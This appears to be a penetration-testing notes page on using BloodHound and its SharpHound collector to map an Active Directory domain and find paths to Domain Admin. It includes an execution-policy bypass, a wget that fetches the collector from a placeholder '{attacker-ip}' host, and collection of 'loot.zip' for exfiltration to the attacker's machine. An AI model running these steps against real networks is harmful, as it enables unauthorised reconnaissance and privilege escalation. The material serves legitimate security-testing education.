> For the complete documentation index, see [llms.txt](https://riteshs4hu.gitbook.io/infosec-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://riteshs4hu.gitbook.io/infosec-notes/internal-and-external-network-sec/active-directory-domain-controller/privesc-tools/bloodhound/how-to-use-bloodhound.md).

# How to Use BloodHound

### Data Collection on Target Machine

BloodHound requires data about the Active Directory environment, which is collected using **SharpHound**.

#### SharpHound Collection Scripts:

Collector GitHub:\
<https://github.com/BloodHoundAD/BloodHound/tree/master/Collectors>

***

#### Option 1: Using `SharpHound.ps1` (PowerShell)

Run the following commands on the target machine:

```powershell
powershell.exe -nop -exec bypass
```

```
wget http://{attacker-ip}/SharpHound.ps1 -O SharpHound.ps1
```

```
Import-Module .\SharpHound.ps1
```

```
Invoke-BloodHound -CollectionMethod All -Domain Controller.local -ZipFileName loot.zip
```

* `CollectionMethod All` gathers all available information.
* The resulting `loot.zip` file will contain the JSON files for import into BloodHound.

***

#### Option 2: Using `SharpHound.exe`

If executable delivery is possible, run:

```powershell
./SharpHound.exe
```

You can pass arguments to customize the collection, such as:

```powershell
SharpHound.exe -c All -d Controller.local -f loot.zip
```

***

### Import Data into BloodHound GUI

Copy the `loot.zip` file to your attack machine and import it into BloodHound via the GUI interface.

<figure><img src="/files/Y0HXZhSuliXBfejaTpER" alt=""><figcaption></figcaption></figure>

The data will be parsed, and the relationships/permissions will be graphically displayed for attack path analysis.

{% hint style="danger" %}
BloodHound **won’t show a "success" or "failure" message**; ingestion takes time.
{% endhint %}

***

### Explore the Data

* Once ingestion finishes: Go to: Explore → Cypher

&#x20;     `Click the folder icon 📂 to load a pre-made Cypher query from the library` &#x20;

<figure><img src="/files/N3IeRz9HCJI6Ul7gLfXa" alt=""><figcaption></figcaption></figure>

* Choose a query like:
  * *All Domain Admins*
  * *Computers where Domain Users are local administrators*
  * *All Kerberoastable users*
  * Shortest paths to Domain Admins
  * All Coerce and NTLM relay edges

<figure><img src="/files/KJ0E1Ci8eVlGfxRkVY82" alt=""><figcaption></figcaption></figure>

* Click any node (e.g., a user, group, or computer) in the graph view.
  * A **property panel** will open with details:
    * Name
      * Type
      * Properties (SPN, enabled status, etc.)
      * Relationships

<figure><img src="/files/mWVRwnFLf7QuII8UO8oM" alt=""><figcaption></figcaption></figure>

***

### Deleting Imported Data

* If you want to start over: Go to: `Administration → Database Management`
* Select the category of data to delete:
  * **All Graph Data** — wipes everything
    * **Active Directory Data**
    * **Azure Data**
    * **Sourceless Data**
  * **Custom High Value Selectors**
  * **All Asset Group Selectors**
  * **File Ingest Log History**
  * **Data Quality History**
* Click **Delete**.

***

### Reference

* <https://bloodhound.specterops.io/get-started/introduction>
* <https://bloodhound.specterops.io/analyze-data/cypher-search>
* <https://redfoxsec.com/blog/bloodhound-cheat-sheet/>
* <https://m4lwhere.medium.com/the-ultimate-guide-for-bloodhound-community-edition-bhce-80b574595acf>